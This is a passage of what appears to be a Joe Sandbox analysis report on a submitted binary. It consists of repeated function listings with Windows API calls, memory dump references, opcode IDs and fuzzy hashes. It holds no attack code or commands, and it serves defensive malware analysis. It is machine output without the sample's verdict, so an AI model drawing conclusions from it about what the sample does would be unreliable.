                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: Find$FileFirst$CloseErrorH_prolog3_Last
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 765066492-0
                                                                                                                                                        • Opcode ID: 21fadd329a9be30dd5b8211f96e08300df58c369c2bee263eaf67cb620447f69
                                                                                                                                                        • Instruction ID: 128dc7e8feabe3c171b41d4e50bb573e84856901703ad309ed770689ce29ca3f
                                                                                                                                                        • Opcode Fuzzy Hash: 21fadd329a9be30dd5b8211f96e08300df58c369c2bee263eaf67cb620447f69
                                                                                                                                                        • Instruction Fuzzy Hash: A5F0A035009790AECF216BE48805B8BBFE0AF1B374F044B09F0FD925A2C230E0569B32
                                                                                                                                                        Function 00DA73F8 Relevance: 1.5, APIs: 1, Instructions: 21threadCOMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • SetThreadExecutionState.KERNEL32(00000001), ref: 00DA742D
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: ExecutionStateThread
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 2211380416-0
                                                                                                                                                        • Opcode ID: 24bcfc4cbeb381b29cce75039020b16cf237e21692b47165a938267c8eac8684
                                                                                                                                                        • Instruction ID: b7f7e35ba944ab3a2ee4b2a4792be5bab75063c19da71d24a17bc4937e12038e
                                                                                                                                                        • Opcode Fuzzy Hash: 24bcfc4cbeb381b29cce75039020b16cf237e21692b47165a938267c8eac8684
                                                                                                                                                        • Instruction Fuzzy Hash: 10D0122160915126FA1537696D557FD1A068F87315F0D007AB545562C38A940846A3FA
                                                                                                                                                        Function 00D911DD Relevance: 1.5, APIs: 1, Instructions: 17COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • Concurrency::cancel_current_task.LIBCPMT ref: 00D91206
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: Concurrency::cancel_current_task
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 118556049-0
                                                                                                                                                        • Opcode ID: 679acea3c257f309f3b37c7a6b0c56e7ba53015130158bd6b89df0f0531ea031
                                                                                                                                                        • Instruction ID: 5f6cbe88da19a4015b84019f5f7db8f2db587ae82d8a7679adc8209fe51ee4ca
                                                                                                                                                        • Opcode Fuzzy Hash: 679acea3c257f309f3b37c7a6b0c56e7ba53015130158bd6b89df0f0531ea031
                                                                                                                                                        • Instruction Fuzzy Hash: 99D05E7E6026038E8B2DFB38C46696E77909E60305354462DF02BCA681DF21CC16C639
                                                                                                                                                        Function 00DAEB06 Relevance: 1.5, APIs: 1, Instructions: 16memoryCOMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • GdipAlloc.GDIPLUS(00000010), ref: 00DAEB0C
                                                                                                                                                          • Part of subcall function 00DAE849: GdipCreateBitmapFromStreamICM.GDIPLUS(?,?), ref: 00DAE86A
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: Gdip$AllocBitmapCreateFromStream
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 1915507550-0
                                                                                                                                                        • Opcode ID: 40d26e3062f3a0a4d923ad9eb1023a0fc0ac8bf0375a6db8f64136e7eac3b51d
                                                                                                                                                        • Instruction ID: 3026ceadfbb5d73b148939d599e7ff86257b8c9bdbac787453d883faae1085c8
                                                                                                                                                        • Opcode Fuzzy Hash: 40d26e3062f3a0a4d923ad9eb1023a0fc0ac8bf0375a6db8f64136e7eac3b51d
                                                                                                                                                        • Instruction Fuzzy Hash: 2FD0A930200209BADF022B30CC02ABE7B98EF02340F008121B84285190EEB0EA10E2B2
                                                                                                                                                        Function 00DB4231 Relevance: 1.5, APIs: 1, Instructions: 13windowCOMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • SendDlgItemMessageW.USER32(0000006A,00000402,00000000,?,?), ref: 00DB4256
                                                                                                                                                          • Part of subcall function 00DB0678: PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00DB0689
                                                                                                                                                          • Part of subcall function 00DB0678: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00DB069A
                                                                                                                                                          • Part of subcall function 00DB0678: IsDialogMessageW.USER32(000103E4,?), ref: 00DB06AE
                                                                                                                                                          • Part of subcall function 00DB0678: TranslateMessage.USER32(?), ref: 00DB06BC
                                                                                                                                                          • Part of subcall function 00DB0678: DispatchMessageW.USER32(?), ref: 00DB06C6
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: Message$DialogDispatchItemPeekSendTranslate
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 897784432-0
                                                                                                                                                        • Opcode ID: bfe4c770e0e6c467615004d2d963278ab767d3a894c93dae341a682e2412579b
                                                                                                                                                        • Instruction ID: b55dda74871d66969641bb59c8be0b5996409d89dfa6e568057bac918788044d
                                                                                                                                                        • Opcode Fuzzy Hash: bfe4c770e0e6c467615004d2d963278ab767d3a894c93dae341a682e2412579b
                                                                                                                                                        • Instruction Fuzzy Hash: BDD09E32144300EBD6123B51DE46F0A7AE2EB88B08F404554B745740B1C6629E319B36
                                                                                                                                                        Function 00DB4D2C Relevance: 1.5, APIs: 1, Instructions: 13COMMONLIBRARYCODE
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                          • Part of subcall function 00DB4DD5: RtlAcquireSRWLockExclusive.NTDLL ref: 00DB4DF2
                                                                                                                                                        • DloadProtectSection.DELAYIMP ref: 00DB4D54
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: AcquireDloadExclusiveLockProtectSection
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 3680172570-0
                                                                                                                                                        • Opcode ID: 02fc6989dd63954ff64bee03c91b8e51e1066721c4f7d02e18c7318b70589840
                                                                                                                                                        • Instruction ID: e760af9c9d6f01efe56bef1c0b56710b544a85bc877fef8dc28035529512ea57
                                                                                                                                                        • Opcode Fuzzy Hash: 02fc6989dd63954ff64bee03c91b8e51e1066721c4f7d02e18c7318b70589840
                                                                                                                                                        • Instruction Fuzzy Hash: E3D012755007A5EED711FB25AC8A7D42360F70438CF880585F253CA2ABCFB084509631
                                                                                                                                                        Function 00D9E152 Relevance: 1.5, APIs: 1, Instructions: 12COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • GetFileType.KERNELBASE(000000FF,00D9E052,?,?,?,00000000,00D9E5D2,?,?,00000000,?,00000000), ref: 00D9E15E
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: FileType
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 3081899298-0
                                                                                                                                                        • Opcode ID: 6e25d221f9427f930ea3965c7e27f87b084c5c1468fef703fb12a7166a64e805
                                                                                                                                                        • Instruction ID: 07a957b9dbffb30e0d6965d6b4d3c3badb70156161447e731c794844b0731ba7
                                                                                                                                                        • Opcode Fuzzy Hash: 6e25d221f9427f930ea3965c7e27f87b084c5c1468fef703fb12a7166a64e805
                                                                                                                                                        • Instruction Fuzzy Hash: 7FC0123440030AD68F308A2898484997322AA523A67BC9394C02CE92A1C7328C83EA20
                                                                                                                                                        Function 00DB49D5 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • ___delayLoadHelper2@8.DELAYIMP ref: 00DB4918
                                                                                                                                                          • Part of subcall function 00DB4FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00DB5041
                                                                                                                                                          • Part of subcall function 00DB4FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00DB5052
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 1269201914-0
                                                                                                                                                        • Opcode ID: 643e0b1ff36e66f8a5079aaf7887255d517b7272df93d994e334859360967bb3
                                                                                                                                                        • Instruction ID: 4390dd2b850d9574581b7662acc546c19ee44f216784c83f53d061060d1cd20b
                                                                                                                                                        • Opcode Fuzzy Hash: 643e0b1ff36e66f8a5079aaf7887255d517b7272df93d994e334859360967bb3
                                                                                                                                                        • Instruction Fuzzy Hash: A9B0128126D240FC3244E1153E03C77014FCBC8B10331451FF002C2243E8408C440031
                                                                                                                                                        Function 00DB49C1 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • ___delayLoadHelper2@8.DELAYIMP ref: 00DB4918
                                                                                                                                                          • Part of subcall function 00DB4FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00DB5041
                                                                                                                                                          • Part of subcall function 00DB4FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00DB5052
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 1269201914-0
                                                                                                                                                        • Opcode ID: cd5f8235ea518d460a0cad54476253e5cd31ca155c76edd6e30f5311791f20a5
                                                                                                                                                        • Instruction ID: c32fe107ac726d6819f41ec190dc8352c9094819f798bdae69b1a1f5aa23dc6a
                                                                                                                                                        • Opcode Fuzzy Hash: cd5f8235ea518d460a0cad54476253e5cd31ca155c76edd6e30f5311791f20a5
                                                                                                                                                        • Instruction Fuzzy Hash: DAB0129125D340FC3384E2153E03C7B010EC7C8B10331461FF002C2243E8408C840031
                                                                                                                                                        Function 00DB4999 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • ___delayLoadHelper2@8.DELAYIMP ref: 00DB4918
                                                                                                                                                          • Part of subcall function 00DB4FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00DB5041
                                                                                                                                                          • Part of subcall function 00DB4FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00DB5052
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 1269201914-0
                                                                                                                                                        • Opcode ID: a1eeeec6e21cbf92ad220fa30be381bccbe07036a2bfd322a8ad1b0543723c43
                                                                                                                                                        • Instruction ID: 5521211a8f4eac3a6df2c4354b9ffe294a6be974c0e4352dd143c043115e296f
                                                                                                                                                        • Opcode Fuzzy Hash: a1eeeec6e21cbf92ad220fa30be381bccbe07036a2bfd322a8ad1b0543723c43
                                                                                                                                                        • Instruction Fuzzy Hash: 3CB0129135C340FC3384E1153E03C77010DC7C8B10330561FF002C2243F8408D840031
                                                                                                                                                        Function 00DB498F Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • ___delayLoadHelper2@8.DELAYIMP ref: 00DB4918
                                                                                                                                                          • Part of subcall function 00DB4FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00DB5041
                                                                                                                                                          • Part of subcall function 00DB4FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00DB5052
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 1269201914-0
                                                                                                                                                        • Opcode ID: 9eb7a47602762251d366315f9e83a8441af2b1c3b9119364b73d7ddd752c8739
                                                                                                                                                        • Instruction ID: f1145c444d9077f0fcab09f99e24ea551c044851e911ae1cbec0e1e179d15af8
                                                                                                                                                        • Opcode Fuzzy Hash: 9eb7a47602762251d366315f9e83a8441af2b1c3b9119364b73d7ddd752c8739
                                                                                                                                                        • Instruction Fuzzy Hash: E2B0129135C240FC3244E1153E03C77010DC7C9B10330951FF402C2243F8408D440131
                                                                                                                                                        Function 00DB4985 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • ___delayLoadHelper2@8.DELAYIMP ref: 00DB4918
                                                                                                                                                          • Part of subcall function 00DB4FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00DB5041
                                                                                                                                                          • Part of subcall function 00DB4FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00DB5052
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 1269201914-0
                                                                                                                                                        • Opcode ID: cf9f5601e094b64cb87bd49470bfd0dd8d6f46a642ad52a19c86f1124c2eda74
                                                                                                                                                        • Instruction ID: f1e89c689ae7e92e3d1c36470a36887749b19fa49743dc0561cb50cfd1df8d5d
                                                                                                                                                        • Opcode Fuzzy Hash: cf9f5601e094b64cb87bd49470bfd0dd8d6f46a642ad52a19c86f1124c2eda74
                                                                                                                                                        • Instruction Fuzzy Hash: 84B0128125C240FC3248E1653E03C77010DC7C8B10330891FF006C2343E8408C480031
                                                                                                                                                        Function 00DB49B7 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • ___delayLoadHelper2@8.DELAYIMP ref: 00DB4918
                                                                                                                                                          • Part of subcall function 00DB4FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00DB5041
                                                                                                                                                          • Part of subcall function 00DB4FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00DB5052
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 1269201914-0
                                                                                                                                                        • Opcode ID: 04d5c0083bd623b5773c4900580f95e47ae4ab446546ca2d0ca732465bd046f2
                                                                                                                                                        • Instruction ID: 23412a3cc691bcb1a9615a4c7c24ee62f70b3c8a120562b45fbb80847700ffc7
                                                                                                                                                        • Opcode Fuzzy Hash: 04d5c0083bd623b5773c4900580f95e47ae4ab446546ca2d0ca732465bd046f2
                                                                                                                                                        • Instruction Fuzzy Hash: 85B0128125D240FC3244E1153E03C77010EC7C9B10331852FF402C2283E8408C440131
                                                                                                                                                        Function 00DB49A3 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • ___delayLoadHelper2@8.DELAYIMP ref: 00DB4918
                                                                                                                                                          • Part of subcall function 00DB4FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00DB5041
                                                                                                                                                          • Part of subcall function 00DB4FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00DB5052
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 1269201914-0
                                                                                                                                                        • Opcode ID: 825e61493cfb895c117fa45a92e50688182bb7f5cb056a66e123e4c81625fcd8
                                                                                                                                                        • Instruction ID: 98350e7442bfc6795ec030c0ae202f9aa4c49dfada0781303dd4bb024cbb2b00
                                                                                                                                                        • Opcode Fuzzy Hash: 825e61493cfb895c117fa45a92e50688182bb7f5cb056a66e123e4c81625fcd8
                                                                                                                                                        • Instruction Fuzzy Hash: F2B0129135C240FC3244E1153F03C77010EC7C8B10330555FF402C2243F8418E460031
                                                                                                                                                        Function 00DB495D Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • ___delayLoadHelper2@8.DELAYIMP ref: 00DB4918
                                                                                                                                                          • Part of subcall function 00DB4FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00DB5041
                                                                                                                                                          • Part of subcall function 00DB4FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00DB5052
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
